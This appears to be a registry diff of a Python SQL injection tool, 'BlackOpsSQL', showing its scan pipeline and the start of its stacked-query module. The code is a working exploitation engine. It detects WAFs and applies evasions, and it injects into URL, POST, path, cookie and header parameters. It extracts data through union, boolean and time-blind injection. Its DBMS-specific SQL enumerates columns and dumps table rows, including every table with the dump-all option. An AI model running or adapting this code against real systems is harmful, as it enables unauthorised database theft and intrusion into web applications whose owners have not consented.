blackops-sql 0.1.6__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- blackops_sql-0.1.6.dist-info/METADATA +250 -0
- blackops_sql-0.1.6.dist-info/RECORD +29 -0
- blackops_sql-0.1.6.dist-info/WHEEL +4 -0
- blackops_sql-0.1.6.dist-info/entry_points.txt +2 -0
- blackops_sql-0.1.6.dist-info/licenses/LICENSE +661 -0
- blackops_sql-0.1.6.dist-info/licenses/NOTICE +27 -0
- blackopssql/__init__.py +111 -0
- blackopssql/__main__.py +287 -0
- blackopssql/_cli/__init__.py +0 -0
- blackopssql/_cli/args.py +229 -0
- blackopssql/_cli/summary.py +216 -0
- blackopssql/engine/__init__.py +35 -0
- blackopssql/engine/_scanner/__init__.py +0 -0
- blackopssql/engine/_scanner/active/__init__.py +526 -0
- blackopssql/engine/_scanner/active/_helpers.py +301 -0
- blackopssql/engine/_scanner/blind.py +315 -0
- blackopssql/engine/_scanner/extract.py +302 -0
- blackopssql/engine/_scanner/options.py +96 -0
- blackopssql/engine/_scanner/passive.py +86 -0
- blackopssql/engine/_scanner/payloads/__init__.py +80 -0
- blackopssql/engine/_scanner/pipeline.py +547 -0
- blackopssql/engine/_scanner/stacked.py +131 -0
- blackopssql/engine/crawler.py +7 -0
- blackopssql/engine/http/__init__.py +0 -0
- blackopssql/engine/http/injector.py +10 -0
- blackopssql/engine/http/waf_detect.py +51 -0
- blackopssql/engine/log.py +7 -0
- blackopssql/engine/reporter.py +208 -0
- blackopssql/engine/scanner.py +95 -0
|
@@ -0,0 +1,547 @@
|
|
|
1
|
+
# SPDX-License-Identifier: AGPL-3.0-or-later
|
|
2
|
+
# Copyright (c) 2026 CommonHuman-Lab
|
|
3
|
+
"""
|
|
4
|
+
BlackOpsSQL — engine/_scanner/pipeline.py
|
|
5
|
+
Scan pipeline: WAF → passive → surface building → active → time-blind → OOB.
|
|
6
|
+
"""
|
|
7
|
+
|
|
8
|
+
from __future__ import annotations
|
|
9
|
+
|
|
10
|
+
import re
|
|
11
|
+
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
12
|
+
from typing import Any, Dict, List
|
|
13
|
+
|
|
14
|
+
from ..log import get_logger
|
|
15
|
+
from .. import crawler as crawler_mod
|
|
16
|
+
from ..http import waf_detect
|
|
17
|
+
from ..http.injector import Injector, parse_post_data
|
|
18
|
+
from ..reporter import ScanResult, ExtractionFinding, TableDumpFinding
|
|
19
|
+
from .options import ScanOptions
|
|
20
|
+
from .passive import fetch_seed, run_passive_checks
|
|
21
|
+
from .active import scan_param
|
|
22
|
+
from .blind import run_time_based, run_oob
|
|
23
|
+
from .stacked import run_stacked
|
|
24
|
+
from .extract import extract_value, extract_via_union
|
|
25
|
+
from blackops_payloads.sqli import get_extraction_targets
|
|
26
|
+
|
|
27
|
+
# Separators used when serialising dumped rows; chosen to be absent from normal data
|
|
28
|
+
_COL_SEP = "|"
|
|
29
|
+
_ROW_SEP = "||~~||"
|
|
30
|
+
|
|
31
|
+
logger = get_logger("blackopssql.pipeline")
|
|
32
|
+
|
|
33
|
+
|
|
34
|
+
def run(url: str, opts: ScanOptions, injector: Injector, result: ScanResult) -> None:
|
|
35
|
+
|
|
36
|
+
# 1. WAF detection
|
|
37
|
+
logger.debug("Probing for WAF on %s", url)
|
|
38
|
+
params = injector.get_params(url)
|
|
39
|
+
first_param = params[0] if params else None
|
|
40
|
+
waf_result = waf_detect.detect(injector, url, first_param)
|
|
41
|
+
|
|
42
|
+
if waf_result.detected:
|
|
43
|
+
result.waf_detected = waf_result.name
|
|
44
|
+
result.evasion_applied = waf_result.evasions[0] if waf_result.evasions else None
|
|
45
|
+
logger.warning("WAF detected: %s (confidence: %s)", waf_result.name, waf_result.confidence)
|
|
46
|
+
else:
|
|
47
|
+
logger.debug("No WAF detected")
|
|
48
|
+
|
|
49
|
+
evasions: List[str] = waf_result.evasions if waf_result.evasions else ["none"]
|
|
50
|
+
|
|
51
|
+
# 2. Passive checks
|
|
52
|
+
seed_resp = fetch_seed(injector, url)
|
|
53
|
+
run_passive_checks(url, seed_resp, injector, result)
|
|
54
|
+
|
|
55
|
+
# 3. Build injectable surfaces
|
|
56
|
+
surfaces: List[Dict[str, Any]] = []
|
|
57
|
+
for param in injector.get_params(url):
|
|
58
|
+
surfaces.append({"url": url, "method": "GET", "params": {param: ""}, "single_param": param})
|
|
59
|
+
|
|
60
|
+
if opts.data:
|
|
61
|
+
post_params = parse_post_data(opts.data)
|
|
62
|
+
_is_json_body = opts.data.strip().startswith("{")
|
|
63
|
+
for param in post_params:
|
|
64
|
+
surfaces.append({
|
|
65
|
+
"url": url, "method": "POST",
|
|
66
|
+
"params": post_params, "single_param": param,
|
|
67
|
+
"json_body": _is_json_body,
|
|
68
|
+
})
|
|
69
|
+
|
|
70
|
+
# Path parameter surfaces — inject into URL path segments.
|
|
71
|
+
# Detect :name / {name} placeholders in the path, or use --path-params names.
|
|
72
|
+
import urllib.parse as _up
|
|
73
|
+
_path_parts = _up.urlparse(url).path.split("/")
|
|
74
|
+
# Map param name -> segment index
|
|
75
|
+
_path_param_indices: dict = {}
|
|
76
|
+
if opts.path_params:
|
|
77
|
+
# User supplied explicit names; match against path parts
|
|
78
|
+
for _i, _part in enumerate(_path_parts):
|
|
79
|
+
# Strip placeholder syntax if present
|
|
80
|
+
_plain = _part.lstrip(":").strip("{}")
|
|
81
|
+
if _plain in opts.path_params:
|
|
82
|
+
_path_param_indices[_plain] = _i
|
|
83
|
+
# Also accept positional names that don't appear literally in the path
|
|
84
|
+
# (e.g. the user knows segment 3 is "id") — use index order as fallback
|
|
85
|
+
for _name in opts.path_params:
|
|
86
|
+
if _name not in _path_param_indices:
|
|
87
|
+
# Prefer numeric-looking segments (REST id values) over word segments
|
|
88
|
+
def _is_numeric(s: str) -> bool:
|
|
89
|
+
return s.lstrip("-").isdigit()
|
|
90
|
+
# First pass: numeric segments
|
|
91
|
+
for _i, _part in enumerate(_path_parts):
|
|
92
|
+
if (_i not in _path_param_indices.values() and _part
|
|
93
|
+
and not _part.startswith("{") and not _part.startswith(":")
|
|
94
|
+
and _is_numeric(_part)):
|
|
95
|
+
_path_param_indices[_name] = _i
|
|
96
|
+
break
|
|
97
|
+
# Second pass: any non-empty non-placeholder segment
|
|
98
|
+
if _name not in _path_param_indices:
|
|
99
|
+
for _i, _part in enumerate(_path_parts):
|
|
100
|
+
if (_i not in _path_param_indices.values() and _part
|
|
101
|
+
and not _part.startswith("{") and not _part.startswith(":")):
|
|
102
|
+
_path_param_indices[_name] = _i
|
|
103
|
+
break
|
|
104
|
+
else:
|
|
105
|
+
# Auto-detect :name and {name} patterns
|
|
106
|
+
for _i, _part in enumerate(_path_parts):
|
|
107
|
+
if _part.startswith(":") and len(_part) > 1:
|
|
108
|
+
_path_param_indices[_part[1:]] = _i
|
|
109
|
+
elif _part.startswith("{") and _part.endswith("}"):
|
|
110
|
+
_path_param_indices[_part[1:-1]] = _i
|
|
111
|
+
|
|
112
|
+
for _pname, _pidx in _path_param_indices.items():
|
|
113
|
+
surfaces.append({
|
|
114
|
+
"url": url, "method": "PATH",
|
|
115
|
+
"params": {_pname: _path_parts[_pidx]},
|
|
116
|
+
"single_param": _pname,
|
|
117
|
+
"path_index": _pidx,
|
|
118
|
+
})
|
|
119
|
+
|
|
120
|
+
# Cookie parameter surfaces — inject into specified cookie names.
|
|
121
|
+
if opts.cookie_params:
|
|
122
|
+
_cookie_jar = injector._session.cookies.get_dict() if hasattr(injector, '_session') else {}
|
|
123
|
+
for _cname in opts.cookie_params:
|
|
124
|
+
_cval = _cookie_jar.get(_cname, "")
|
|
125
|
+
surfaces.append({
|
|
126
|
+
"url": url, "method": "COOKIE",
|
|
127
|
+
"params": {_cname: _cval},
|
|
128
|
+
"single_param": _cname,
|
|
129
|
+
})
|
|
130
|
+
|
|
131
|
+
# HTTP header injection surfaces — inject into specified header names.
|
|
132
|
+
if opts.header_params:
|
|
133
|
+
for _hname in opts.header_params:
|
|
134
|
+
surfaces.append({
|
|
135
|
+
"url": url, "method": "HEADER",
|
|
136
|
+
"params": {_hname: ""},
|
|
137
|
+
"single_param": _hname,
|
|
138
|
+
})
|
|
139
|
+
|
|
140
|
+
if opts.crawl:
|
|
141
|
+
logger.debug("Crawling %s (max_pages=%s, depth=%s)", url, opts.max_pages, opts.max_depth)
|
|
142
|
+
crawl_result = crawler_mod.crawl(
|
|
143
|
+
start_url=url, injector=injector,
|
|
144
|
+
max_pages=opts.max_pages, max_depth=opts.max_depth, threads=opts.threads,
|
|
145
|
+
exclude_patterns=opts.exclude_patterns or [],
|
|
146
|
+
)
|
|
147
|
+
result.crawled_urls = len(crawl_result.visited_urls)
|
|
148
|
+
logger.debug(
|
|
149
|
+
"Crawled %d URLs, found %d forms",
|
|
150
|
+
result.crawled_urls, len(crawl_result.form_targets),
|
|
151
|
+
)
|
|
152
|
+
for page_url, page_params in crawl_result.url_params:
|
|
153
|
+
for param in page_params:
|
|
154
|
+
surfaces.append({
|
|
155
|
+
"url": page_url, "method": "GET",
|
|
156
|
+
"params": {param: ""}, "single_param": param,
|
|
157
|
+
})
|
|
158
|
+
for form in crawl_result.form_targets:
|
|
159
|
+
for param in form.params:
|
|
160
|
+
surfaces.append({
|
|
161
|
+
"url": form.action, "method": form.method,
|
|
162
|
+
"params": {**form.base_data, **form.params}, "single_param": param,
|
|
163
|
+
})
|
|
164
|
+
# Level 2: probe numeric path segments discovered via <code> tags or
|
|
165
|
+
# other non-href links (e.g. /api/items/1 → inject into "1").
|
|
166
|
+
if opts.level >= 2:
|
|
167
|
+
seen_path_surfaces: set = set()
|
|
168
|
+
for pp_url in crawl_result.path_param_candidates:
|
|
169
|
+
_pp_parts = _up.urlparse(pp_url).path.split("/")
|
|
170
|
+
for _i, _part in enumerate(_pp_parts):
|
|
171
|
+
if _part and _part.lstrip("-").isdigit():
|
|
172
|
+
_key = (pp_url, _i)
|
|
173
|
+
if _key not in seen_path_surfaces:
|
|
174
|
+
seen_path_surfaces.add(_key)
|
|
175
|
+
surfaces.append({
|
|
176
|
+
"url": pp_url, "method": "PATH",
|
|
177
|
+
"params": {"id": _part},
|
|
178
|
+
"single_param": "id",
|
|
179
|
+
"path_index": _i,
|
|
180
|
+
})
|
|
181
|
+
break # inject only the first numeric segment
|
|
182
|
+
else:
|
|
183
|
+
pass # crawler not enabled; surfaces already built from URL params and POST data
|
|
184
|
+
|
|
185
|
+
# Deduplicate: the BFS crawler re-visits the seed URL, re-adding its params.
|
|
186
|
+
_seen_surfaces: set = set()
|
|
187
|
+
_deduped: list = []
|
|
188
|
+
for _s in surfaces:
|
|
189
|
+
_key = (_s["url"], _s["method"], _s["single_param"])
|
|
190
|
+
if _key not in _seen_surfaces:
|
|
191
|
+
_seen_surfaces.add(_key)
|
|
192
|
+
_deduped.append(_s)
|
|
193
|
+
surfaces = _deduped
|
|
194
|
+
|
|
195
|
+
if surfaces:
|
|
196
|
+
logger.info("%d injectable surface(s) identified", len(surfaces))
|
|
197
|
+
else:
|
|
198
|
+
logger.debug("0 injectable surfaces identified")
|
|
199
|
+
result.params_tested = len(surfaces)
|
|
200
|
+
|
|
201
|
+
# 4. Active: error-based + boolean + union (threaded)
|
|
202
|
+
if opts.use_error or opts.use_boolean or opts.use_union:
|
|
203
|
+
with ThreadPoolExecutor(max_workers=opts.threads) as pool:
|
|
204
|
+
futs = [
|
|
205
|
+
pool.submit(scan_param, s, evasions, opts, injector, result)
|
|
206
|
+
for s in surfaces
|
|
207
|
+
]
|
|
208
|
+
for f in as_completed(futs):
|
|
209
|
+
try:
|
|
210
|
+
f.result()
|
|
211
|
+
except Exception as exc:
|
|
212
|
+
result.append_error(str(exc))
|
|
213
|
+
|
|
214
|
+
# 5. Time-based blind (sequential — timing sensitive, threading skews results)
|
|
215
|
+
if opts.use_time:
|
|
216
|
+
confirmed = {
|
|
217
|
+
(f.url, f.parameter, f.method)
|
|
218
|
+
for lst in (result.error_based, result.boolean_based, result.union_based)
|
|
219
|
+
for f in lst
|
|
220
|
+
}
|
|
221
|
+
time_surfaces = [
|
|
222
|
+
s for s in surfaces
|
|
223
|
+
if (s["url"], s["single_param"], s["method"]) not in confirmed
|
|
224
|
+
]
|
|
225
|
+
logger.debug("Running time-based blind detection (%d surfaces)", len(time_surfaces))
|
|
226
|
+
for surface in time_surfaces:
|
|
227
|
+
try:
|
|
228
|
+
run_time_based(surface, evasions, opts, injector, result)
|
|
229
|
+
except Exception as exc:
|
|
230
|
+
result.append_error(str(exc))
|
|
231
|
+
|
|
232
|
+
# 6. OOB injection (threaded — fire and forget)
|
|
233
|
+
if opts.use_oob:
|
|
234
|
+
logger.info("Injecting OOB payloads (callback: %s)", opts.oob_callback)
|
|
235
|
+
with ThreadPoolExecutor(max_workers=opts.threads) as pool:
|
|
236
|
+
futs = [
|
|
237
|
+
pool.submit(run_oob, s, evasions, opts, injector, result)
|
|
238
|
+
for s in surfaces
|
|
239
|
+
]
|
|
240
|
+
for f in as_completed(futs):
|
|
241
|
+
try:
|
|
242
|
+
f.result()
|
|
243
|
+
except Exception as exc:
|
|
244
|
+
result.append_error(str(exc))
|
|
245
|
+
|
|
246
|
+
# 7. Stacked (batched) queries (sequential — order matters for detection)
|
|
247
|
+
if opts.use_stacked:
|
|
248
|
+
logger.debug("Running stacked query detection (%d surfaces)", len(surfaces))
|
|
249
|
+
for surface in surfaces:
|
|
250
|
+
try:
|
|
251
|
+
run_stacked(surface, evasions, opts, injector, result)
|
|
252
|
+
except Exception as exc:
|
|
253
|
+
result.append_error(str(exc))
|
|
254
|
+
|
|
255
|
+
# 8. Exploitation — extract proof-of-impact data via confirmed injection
|
|
256
|
+
if opts.exploit and (result.boolean_based or result.time_based
|
|
257
|
+
or result.union_based or result.error_based):
|
|
258
|
+
_run_exploit(url, opts, evasions, injector, result, surfaces)
|
|
259
|
+
|
|
260
|
+
|
|
261
|
+
def _columns_expr(table: str, dbms: str) -> str:
|
|
262
|
+
"""Return a scalar SQL expression that yields comma-separated column names for *table*."""
|
|
263
|
+
if dbms == "sqlite":
|
|
264
|
+
return f"(SELECT GROUP_CONCAT(name,',') FROM pragma_table_info('{table}'))"
|
|
265
|
+
if dbms in ("postgres", "postgresql"):
|
|
266
|
+
return (
|
|
267
|
+
f"(SELECT STRING_AGG(column_name,',' ORDER BY ordinal_position)"
|
|
268
|
+
f" FROM information_schema.columns"
|
|
269
|
+
f" WHERE table_schema='public' AND table_name='{table}')"
|
|
270
|
+
)
|
|
271
|
+
if dbms == "mssql":
|
|
272
|
+
return (
|
|
273
|
+
f"(SELECT STRING_AGG(column_name,',')"
|
|
274
|
+
f" WITHIN GROUP (ORDER BY ordinal_position)"
|
|
275
|
+
f" FROM information_schema.columns WHERE table_name='{table}')"
|
|
276
|
+
)
|
|
277
|
+
if dbms == "oracle":
|
|
278
|
+
return (
|
|
279
|
+
f"(SELECT LISTAGG(column_name,',') WITHIN GROUP (ORDER BY column_id)"
|
|
280
|
+
f" FROM all_tab_columns WHERE table_name=UPPER('{table}'))"
|
|
281
|
+
)
|
|
282
|
+
# mysql / mariadb / auto
|
|
283
|
+
return (
|
|
284
|
+
f"(SELECT GROUP_CONCAT(column_name ORDER BY ordinal_position SEPARATOR ',')"
|
|
285
|
+
f" FROM information_schema.columns"
|
|
286
|
+
f" WHERE table_schema=DATABASE() AND table_name='{table}')"
|
|
287
|
+
)
|
|
288
|
+
|
|
289
|
+
|
|
290
|
+
def _dump_expr(table: str, columns: List[str], dbms: str, limit: int = 100) -> str:
|
|
291
|
+
"""Return a scalar SQL expression that GROUP_CONCATs all rows from *table*."""
|
|
292
|
+
if not columns:
|
|
293
|
+
return ""
|
|
294
|
+
if dbms == "sqlite":
|
|
295
|
+
# COALESCE required: any NULL in the chain makes the whole row NULL and
|
|
296
|
+
# GROUP_CONCAT silently drops it. Subquery needed so LIMIT restricts
|
|
297
|
+
# input rows rather than the single aggregate output row.
|
|
298
|
+
cols = f"||'{_COL_SEP}'||".join(f"COALESCE(CAST(\"{c}\" AS TEXT),'')" for c in columns)
|
|
299
|
+
return (
|
|
300
|
+
f"(SELECT GROUP_CONCAT(c,'{_ROW_SEP}')"
|
|
301
|
+
f" FROM (SELECT {cols} AS c FROM \"{table}\" LIMIT {limit}) _t)"
|
|
302
|
+
)
|
|
303
|
+
if dbms in ("postgres", "postgresql"):
|
|
304
|
+
cols = f"||'{_COL_SEP}'||".join(f"COALESCE(CAST(\"{c}\" AS TEXT),'')" for c in columns)
|
|
305
|
+
return (
|
|
306
|
+
f"(SELECT STRING_AGG({cols},'{_ROW_SEP}')"
|
|
307
|
+
f" FROM (SELECT * FROM \"{table}\" LIMIT {limit}) _t)"
|
|
308
|
+
)
|
|
309
|
+
if dbms == "mssql":
|
|
310
|
+
cols = "+'|'+".join(f"ISNULL(CAST([{c}] AS NVARCHAR(MAX)),'')" for c in columns)
|
|
311
|
+
return (
|
|
312
|
+
f"(SELECT STRING_AGG({cols},'{_ROW_SEP}')"
|
|
313
|
+
f" FROM (SELECT TOP {limit} * FROM [{table}]) _t)"
|
|
314
|
+
)
|
|
315
|
+
if dbms == "oracle":
|
|
316
|
+
cols = f"||'{_COL_SEP}'||".join(
|
|
317
|
+
f"NVL(CAST(\"{c}\" AS VARCHAR2(4000)),'')" for c in columns
|
|
318
|
+
)
|
|
319
|
+
return (
|
|
320
|
+
f"(SELECT LISTAGG({cols},'{_ROW_SEP}') WITHIN GROUP (ORDER BY 1)"
|
|
321
|
+
f" FROM (SELECT * FROM \"{table}\" WHERE ROWNUM<={limit}))"
|
|
322
|
+
)
|
|
323
|
+
# mysql / mariadb / auto
|
|
324
|
+
cols = ",".join(f"IFNULL(CAST(`{c}` AS CHAR),'')" for c in columns)
|
|
325
|
+
return (
|
|
326
|
+
f"(SELECT GROUP_CONCAT(CONCAT_WS('{_COL_SEP}',{cols}) SEPARATOR '{_ROW_SEP}')"
|
|
327
|
+
f" FROM (SELECT * FROM `{table}` LIMIT {limit}) _t)"
|
|
328
|
+
)
|
|
329
|
+
|
|
330
|
+
|
|
331
|
+
def _dump_table_union(
|
|
332
|
+
table: str,
|
|
333
|
+
union_finding: Any,
|
|
334
|
+
surface: Dict[str, Any],
|
|
335
|
+
evasions: List[str],
|
|
336
|
+
opts: ScanOptions,
|
|
337
|
+
injector: Injector,
|
|
338
|
+
result: ScanResult,
|
|
339
|
+
) -> None:
|
|
340
|
+
"""Dump all rows of *table* using the confirmed UNION injection."""
|
|
341
|
+
dbms = (result.dbms_detected or opts.dbms or "auto").lower()
|
|
342
|
+
|
|
343
|
+
# Phase 1 — discover columns
|
|
344
|
+
col_expr = _columns_expr(table, dbms)
|
|
345
|
+
cols_raw = extract_via_union(
|
|
346
|
+
expr=col_expr,
|
|
347
|
+
union_finding=union_finding,
|
|
348
|
+
surface=surface,
|
|
349
|
+
evasions=evasions,
|
|
350
|
+
opts=opts,
|
|
351
|
+
injector=injector,
|
|
352
|
+
)
|
|
353
|
+
if not cols_raw:
|
|
354
|
+
logger.warning("dump: could not retrieve columns for table %s", table)
|
|
355
|
+
return
|
|
356
|
+
columns = [c.strip() for c in cols_raw.split(",") if c.strip()]
|
|
357
|
+
logger.info("dump: %s columns=%s", table, columns)
|
|
358
|
+
|
|
359
|
+
# Phase 2 — extract rows
|
|
360
|
+
row_expr = _dump_expr(table, columns, dbms)
|
|
361
|
+
if not row_expr:
|
|
362
|
+
return
|
|
363
|
+
raw = extract_via_union(
|
|
364
|
+
expr=row_expr,
|
|
365
|
+
union_finding=union_finding,
|
|
366
|
+
surface=surface,
|
|
367
|
+
evasions=evasions,
|
|
368
|
+
opts=opts,
|
|
369
|
+
injector=injector,
|
|
370
|
+
)
|
|
371
|
+
rows: List[List[str]] = []
|
|
372
|
+
if raw:
|
|
373
|
+
rows = [r.split(_COL_SEP) for r in raw.split(_ROW_SEP) if r]
|
|
374
|
+
logger.info("dump: %s rows=%d", table, len(rows))
|
|
375
|
+
|
|
376
|
+
result.table_dumps.append(TableDumpFinding(
|
|
377
|
+
table=table,
|
|
378
|
+
columns=columns,
|
|
379
|
+
rows=rows,
|
|
380
|
+
url=union_finding.url,
|
|
381
|
+
parameter=union_finding.parameter,
|
|
382
|
+
method=union_finding.method,
|
|
383
|
+
))
|
|
384
|
+
|
|
385
|
+
|
|
386
|
+
def _run_exploit(
|
|
387
|
+
url: str,
|
|
388
|
+
opts: ScanOptions,
|
|
389
|
+
evasions: List[str],
|
|
390
|
+
injector: Injector,
|
|
391
|
+
result: ScanResult,
|
|
392
|
+
surfaces: List[Dict[str, Any]],
|
|
393
|
+
) -> None:
|
|
394
|
+
"""Extract proof-of-impact data and optionally dump tables."""
|
|
395
|
+
|
|
396
|
+
dbms = (result.dbms_detected or opts.dbms or "auto").lower()
|
|
397
|
+
targets = get_extraction_targets(dbms)
|
|
398
|
+
|
|
399
|
+
# Prefer UNION extraction (one request per target, no binary search).
|
|
400
|
+
# Sort: findings with actual marker reflection first (they have a known
|
|
401
|
+
# reflectable column); HTTP-500-only findings are last (no direct output).
|
|
402
|
+
if result.union_based:
|
|
403
|
+
_ranked = sorted(
|
|
404
|
+
result.union_based,
|
|
405
|
+
key=lambda f: 1 if "[HTTP 500" in (f.extracted or "") else 0,
|
|
406
|
+
)
|
|
407
|
+
union_finding = _ranked[0]
|
|
408
|
+
|
|
409
|
+
surface = next(
|
|
410
|
+
(s for s in surfaces
|
|
411
|
+
if s["url"] == union_finding.url
|
|
412
|
+
and s["single_param"] == union_finding.parameter
|
|
413
|
+
and s["method"] == union_finding.method),
|
|
414
|
+
None,
|
|
415
|
+
)
|
|
416
|
+
if surface is not None:
|
|
417
|
+
logger.info("Extracting %d target(s) via UNION on %s [%s]",
|
|
418
|
+
len(targets), union_finding.parameter, union_finding.url)
|
|
419
|
+
for label, expr in targets:
|
|
420
|
+
try:
|
|
421
|
+
value = extract_via_union(
|
|
422
|
+
expr=expr,
|
|
423
|
+
union_finding=union_finding,
|
|
424
|
+
surface=surface,
|
|
425
|
+
evasions=evasions,
|
|
426
|
+
opts=opts,
|
|
427
|
+
injector=injector,
|
|
428
|
+
)
|
|
429
|
+
if value:
|
|
430
|
+
logger.info("[EXTRACTED] %s = %s", label, value)
|
|
431
|
+
result.extracted.append(ExtractionFinding(
|
|
432
|
+
url=union_finding.url,
|
|
433
|
+
parameter=union_finding.parameter,
|
|
434
|
+
method=union_finding.method,
|
|
435
|
+
expr=expr,
|
|
436
|
+
value=value,
|
|
437
|
+
mode="union",
|
|
438
|
+
))
|
|
439
|
+
else:
|
|
440
|
+
logger.debug("extract: no value returned for %s", label)
|
|
441
|
+
except Exception as exc:
|
|
442
|
+
result.append_error(f"Extraction failed ({label}): {exc}")
|
|
443
|
+
|
|
444
|
+
# Table dump(s)
|
|
445
|
+
tables_to_dump: List[str] = []
|
|
446
|
+
if opts.dump:
|
|
447
|
+
tables_to_dump.append(opts.dump)
|
|
448
|
+
if opts.dump_all:
|
|
449
|
+
# Re-use the already-extracted tables value when possible
|
|
450
|
+
tables_expr = next((e for lbl, e in targets if lbl == "tables"), None)
|
|
451
|
+
tables_val = next(
|
|
452
|
+
(f.value for f in result.extracted if f.expr == tables_expr),
|
|
453
|
+
None,
|
|
454
|
+
)
|
|
455
|
+
if not tables_val and tables_expr:
|
|
456
|
+
try:
|
|
457
|
+
tables_val = extract_via_union(
|
|
458
|
+
expr=tables_expr,
|
|
459
|
+
union_finding=union_finding,
|
|
460
|
+
surface=surface,
|
|
461
|
+
evasions=evasions,
|
|
462
|
+
opts=opts,
|
|
463
|
+
injector=injector,
|
|
464
|
+
)
|
|
465
|
+
except Exception as exc:
|
|
466
|
+
result.append_error(f"dump-all: table list extraction failed: {exc}")
|
|
467
|
+
if tables_val:
|
|
468
|
+
for tbl in tables_val.split(","):
|
|
469
|
+
tbl = tbl.strip()
|
|
470
|
+
if tbl and tbl not in tables_to_dump:
|
|
471
|
+
tables_to_dump.append(tbl)
|
|
472
|
+
|
|
473
|
+
for tbl in tables_to_dump:
|
|
474
|
+
try:
|
|
475
|
+
_dump_table_union(tbl, union_finding, surface, evasions, opts, injector, result)
|
|
476
|
+
except Exception as exc:
|
|
477
|
+
result.append_error(f"Dump failed ({tbl}): {exc}")
|
|
478
|
+
|
|
479
|
+
return
|
|
480
|
+
|
|
481
|
+
# Fall back to boolean / time-blind extraction (dump not supported over blind)
|
|
482
|
+
best_finding = None
|
|
483
|
+
mode = "boolean"
|
|
484
|
+
if result.boolean_based:
|
|
485
|
+
best_finding = result.boolean_based[0]
|
|
486
|
+
elif result.time_based:
|
|
487
|
+
best_finding = result.time_based[0]
|
|
488
|
+
mode = "time"
|
|
489
|
+
|
|
490
|
+
if best_finding is None:
|
|
491
|
+
return
|
|
492
|
+
|
|
493
|
+
surface = next(
|
|
494
|
+
(s for s in surfaces
|
|
495
|
+
if s["url"] == best_finding.url
|
|
496
|
+
and s["single_param"] == best_finding.parameter
|
|
497
|
+
and s["method"] == best_finding.method),
|
|
498
|
+
None,
|
|
499
|
+
)
|
|
500
|
+
if surface is None:
|
|
501
|
+
return
|
|
502
|
+
|
|
503
|
+
try:
|
|
504
|
+
from .active import _fetch
|
|
505
|
+
baseline_resp = _fetch(
|
|
506
|
+
injector, best_finding.url, best_finding.method,
|
|
507
|
+
surface["params"], best_finding.parameter, "",
|
|
508
|
+
json_body=surface.get("json_body", False),
|
|
509
|
+
path_index=surface.get("path_index", 0),
|
|
510
|
+
)
|
|
511
|
+
baseline = baseline_resp if baseline_resp is not None else ""
|
|
512
|
+
except Exception:
|
|
513
|
+
baseline = ""
|
|
514
|
+
|
|
515
|
+
if opts.dump or opts.dump_all:
|
|
516
|
+
logger.warning(
|
|
517
|
+
"Table dump requires UNION-based injection; no UNION finding available — skipping dump"
|
|
518
|
+
)
|
|
519
|
+
|
|
520
|
+
logger.info("Extracting %d target(s) via %s-blind on %s [%s]",
|
|
521
|
+
len(targets), mode, best_finding.parameter, best_finding.url)
|
|
522
|
+
|
|
523
|
+
for label, expr in targets:
|
|
524
|
+
try:
|
|
525
|
+
value = extract_value(
|
|
526
|
+
expr=expr,
|
|
527
|
+
surface=surface,
|
|
528
|
+
evasions=evasions,
|
|
529
|
+
opts=opts,
|
|
530
|
+
injector=injector,
|
|
531
|
+
baseline=baseline,
|
|
532
|
+
mode=mode,
|
|
533
|
+
)
|
|
534
|
+
if value:
|
|
535
|
+
logger.info("[EXTRACTED] %s = %s", label, value)
|
|
536
|
+
result.extracted.append(ExtractionFinding(
|
|
537
|
+
url=best_finding.url,
|
|
538
|
+
parameter=best_finding.parameter,
|
|
539
|
+
method=best_finding.method,
|
|
540
|
+
expr=expr,
|
|
541
|
+
value=value,
|
|
542
|
+
mode=mode,
|
|
543
|
+
))
|
|
544
|
+
else:
|
|
545
|
+
logger.debug("extract: no value returned for %s", label)
|
|
546
|
+
except Exception as exc:
|
|
547
|
+
result.append_error(f"Extraction failed ({label}): {exc}")
|
|
@@ -0,0 +1,131 @@
|
|
|
1
|
+
# SPDX-License-Identifier: AGPL-3.0-or-later
|
|
2
|
+
# Copyright (c) 2026 CommonHuman-Lab
|
|
3
|
+
"""
|
|
4
|
+
BlackOpsSQL — engine/_scanner/stacked.py
|
|
5
|
+
Stacked (batched) query SQLi detection.
|
|
6
|
+
|
|
7
|
+
Stacked queries inject a second statement after the primary query using a
|
|
8
|
+
semicolon terminator. Not all databases or application frameworks support
|
|
9
|
+
this: Oracle never does, and MySQL only supports it through certain PHP/Python
|
|
10
|
+
APIs. When supported, stacked queries enable powerful post-exploitation
|
|
11
|
+
capabilities (WAITFOR DELAY, xp_cmdshell, schema enumeration).
|
|
12
|
+
|
|
13
|
+
Detection approach:
|
|
14
|
+
1. Inject safe stacked payloads (SELECT 1, SELECT version() etc.).
|
|
15
|
+
2. A confirmed stacked finding requires a response difference from baseline
|
|
16
|
+
(for data-returning payloads) OR a timing signal (for WAITFOR / SLEEP).
|
|
17
|
+
3. For databases that return data, try to extract the stacked result.
|
|
18
|
+
"""
|
|
19
|
+
|
|
20
|
+
from __future__ import annotations
|
|
21
|
+
|
|
22
|
+
from typing import Any, Dict, List, Optional
|
|
23
|
+
|
|
24
|
+
from ..log import get_logger
|
|
25
|
+
from ..reporter import StackedFinding, ScanResult
|
|
26
|
+
from ..http.injector import Injector
|
|
27
|
+
from ..http.waf_detect import EVASION_NONE
|
|
28
|
+
from .options import ScanOptions
|
|
29
|
+
from .payloads import apply_evasion, get_stacked_payloads
|
|
30
|
+
from .active import _fetch, _diff_score, _detect_db_error
|
|
31
|
+
from .blind import _timed_fetch
|
|
32
|
+
|
|
33
|
+
logger = get_logger("blackopssql.stacked")
|
|
34
|
+
|
|
35
|
+
# Minimum diff score to consider a stacked query as having caused a response change
|
|
36
|
+
_STACKED_DIFF_THRESHOLD = 0.05
|
|
37
|
+
|
|
38
|
+
|
|
39
|
+
def run_stacked(
|
|
40
|
+
surface: Dict[str, Any],
|
|
41
|
+
evasions: List[str],
|
|
42
|
+
opts: ScanOptions,
|
|
43
|
+
injector: Injector,
|
|
44
|
+
result: ScanResult,
|
|
45
|
+
) -> None:
|
|
46
|
+
"""Test a single surface for stacked (batched) query SQLi."""
|
|
47
|
+
url = surface["url"]
|
|
48
|
+
method = surface["method"]
|
|
49
|
+
params = surface["params"]
|
|
50
|
+
param = surface["single_param"]
|
|
51
|
+
json_body = surface.get("json_body", False)
|
|
52
|
+
path_index = surface.get("path_index", 0)
|
|
53
|
+
second_url = getattr(opts, "second_url", "")
|
|
54
|
+
|
|
55
|
+
dbms = result.dbms_detected or opts.dbms
|
|
56
